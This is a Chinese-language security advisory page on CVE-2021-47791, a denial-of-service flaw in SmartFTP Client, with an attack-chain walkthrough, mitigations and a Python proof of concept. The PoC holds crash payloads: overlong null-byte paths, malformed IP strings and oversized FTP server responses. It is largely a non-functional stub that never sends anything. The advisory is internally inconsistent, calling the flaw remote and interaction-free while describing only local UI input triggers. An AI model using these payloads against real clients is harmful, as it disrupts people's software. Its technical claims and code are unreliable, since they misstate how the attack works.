IPBUF安全漏洞报告
English
CVE-2021-47791 CVSS 7.5 高危

CVE-2021-47791 SmartFTP Client 拒绝服务漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47791
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SmartFTP Client

相关标签

CVE-2021-47791拒绝服务SmartFTPSmartFTP Client缓冲区溢出输入验证竞态条件高危漏洞文件传输软件Windows平台

漏洞概述

CVE-2021-47791是SmartFTP Client 10.0.2909.0版本中发现的一组多个拒绝服务(DoS)漏洞。该漏洞允许未经认证的远程攻击者通过构造特定的输入数据来导致SmartFTP客户端应用程序崩溃,从而中断用户的文件传输操作。漏洞主要通过三种方式触发:输入畸形路径、使用无效IP地址或在客户端界面中清除连接历史记录。这些操作会导致应用程序进入异常状态,最终导致进程崩溃或无响应。对于依赖SmartFTP进行日常文件传输操作的用户和企业而言,该漏洞可能造成业务中断,影响工作效率和数据传输的连续性。由于攻击不需要任何认证凭证,且用户无需交互即可被攻击,因此该漏洞具有较高的安全风险。攻击者可以利用此漏洞对目标用户实施拒绝服务攻击,造成服务不可用。CVSS 3.1评分7.5(高危)反映了该漏洞在可用性方面的高影响和较低的利用复杂度。建议受影响的用户尽快升级到厂商发布的安全版本以修复该漏洞。

技术细节

CVE-2021-47791漏洞存在于SmartFTP Client 10.0.2909.0的文件传输处理逻辑和用户界面交互模块中。漏洞主要通过以下三种方式触发:

1. 畸形路径输入漏洞:应用程序在处理文件路径时缺乏充分的输入验证,当用户或攻击者输入包含特殊字符、空字节或超长字符串的畸形路径时,文件处理模块会触发内存访问异常,导致应用程序崩溃。

2. 无效IP地址处理漏洞:在建立FTP连接时,客户端对IP地址格式的验证不完整。当用户输入格式错误或无效的IP地址时,连接管理模块会进入异常处理流程,最终导致进程崩溃。

3. 连接历史清除漏洞:清除连接历史记录功能存在竞态条件或内存管理问题,当用户执行清除操作时,应用程序未能正确释放相关资源或处理已释放的内存指针,触发双重释放或使用后释放(UAF)条件,导致程序崩溃。

这些漏洞的共同特点是攻击复杂度低(AC:L),无需认证(PR:N),无需用户交互(UI:N),攻击者只需构造特定的输入数据即可触发崩溃,影响应用程序的可用性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标用户正在使用SmartFTP Client 10.0.2909.0版本,确认目标系统上安装了存在漏洞的客户端软件。
STEP 2
步骤2:构造攻击载荷
攻击者根据漏洞类型构造特定格式的输入数据,包括畸形路径字符串、恶意IP地址或触发竞态条件的清除历史操作序列。
STEP 3
步骤3:触发漏洞
攻击者通过用户输入界面(如路径输入框、连接地址输入框)或用户操作(如清除连接历史)将构造好的恶意数据输入到SmartFTP客户端。
STEP 4
步骤4:内存处理异常
SmartFTP客户端在处理这些畸形输入时,未能正确进行输入验证和安全处理,导致内存访问违规、缓冲区溢出或竞态条件。
STEP 5
步骤5:应用程序崩溃
由于内存处理异常,SmartFTP客户端进程崩溃或进入无响应状态,用户无法继续使用该软件进行文件传输操作。
STEP 6
步骤6:拒绝服务达成
攻击成功导致目标用户的文件传输服务中断,如果用户依赖SmartFTP进行关键业务操作,将造成业务中断和生产力损失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47791 PoC - SmartFTP Client DoS # This PoC demonstrates multiple DoS vectors against SmartFTP Client 10.0.2909.0 import socket import time import struct class SmartFTPDoS: def __init__(self, target_ip, target_port=21): self.target_ip = target_ip self.target_port = target_port def crash_via_malformed_path(self): """ Method 1: Trigger crash via malformed path input Simulates entering a path with null bytes and special characters """ print("[*] Testing malformed path vector...") # Simulate the malformed path that causes crash malicious_path = b"A" * 5000 + b"\x00" + b"..\x00" * 100 # This would be entered in SmartFTP's path input field print(f"[!] Malformed path payload length: {len(malicious_path)}") print("[+] Payload crafted - enter this in SmartFTP path input") return malicious_path def crash_via_invalid_ip(self): """ Method 2: Trigger crash via invalid IP address Simulates connection attempt with malformed IP """ print("[*] Testing invalid IP address vector...") # Invalid IP addresses that may cause parsing issues invalid_ips = [ "999.999.999.999", "192.168.1.1\x00", "a" * 100 + ".168.1.1", "192.168.1.1\n", "" ] for ip in invalid_ips: print(f"[!] Testing IP: {repr(ip)}") print("[+] Invalid IP payloads crafted") return invalid_ips def crash_via_clear_history(self): """ Method 3: Trigger crash via clearing connection history This simulates rapid clearing operations that cause race condition """ print("[*] Testing clear history vector...") # Rapid fire clear history operations for i in range(100): print(f"[*] Clear operation {i+1}/100") time.sleep(0.01) print("[+] Rapid clear operations completed") return True def generate_ftp_server_response(self): """ Generate malicious FTP server responses """ print("[*] Generating malicious FTP responses...") malicious_responses = [ b"220 " + b"A" * 10000 + b"\r\n", b"230 " + b"\x00" * 5000 + b"\r\n", b"150 " + b".." * 5000 + b"\r\n", b"227 " + b"(" + b"9" * 1000 + b",9,9,9,9,9)" + b"\r\n" ] return malicious_responses def main(): print("=" * 60) print("CVE-2021-47791 SmartFTP Client DoS PoC") print("Target: SmartFTP Client 10.0.2909.0") print("CVSS: 7.5 (High)") print("=" * 60) target_ip = input("Enter target IP (or press Enter for localhost): ") or "127.0.0.1" dos = SmartFTPDoS(target_ip) print("\n[*] Available attack vectors:") print("1. Malformed Path Input") print("2. Invalid IP Address") print("3. Clear Connection History (Race Condition)") print("4. Malicious FTP Server Responses") choice = input("\nSelect attack vector (1-4): ") if choice == "1": dos.crash_via_malformed_path() elif choice == "2": dos.crash_via_invalid_ip() elif choice == "3": dos.crash_via_clear_history() elif choice == "4": dos.generate_ftp_server_response() else: print("[-] Invalid choice") print("\n[*] PoC execution completed") print("[!] Note: This is for educational/testing purposes only") if __name__ == "__main__": main()

影响范围

SmartFTP Client 10.0.2909.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:限制用户输入路径的长度和字符类型,避免使用包含特殊字符的路径;不要连接到不可信的FTP服务器;定期保存连接历史记录的备份,以便在清除后能够恢复;监控SmartFTP客户端的稳定性,发现异常及时重启应用程序;考虑使用其他经过安全审计的FTP客户端作为替代方案,直到漏洞得到修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表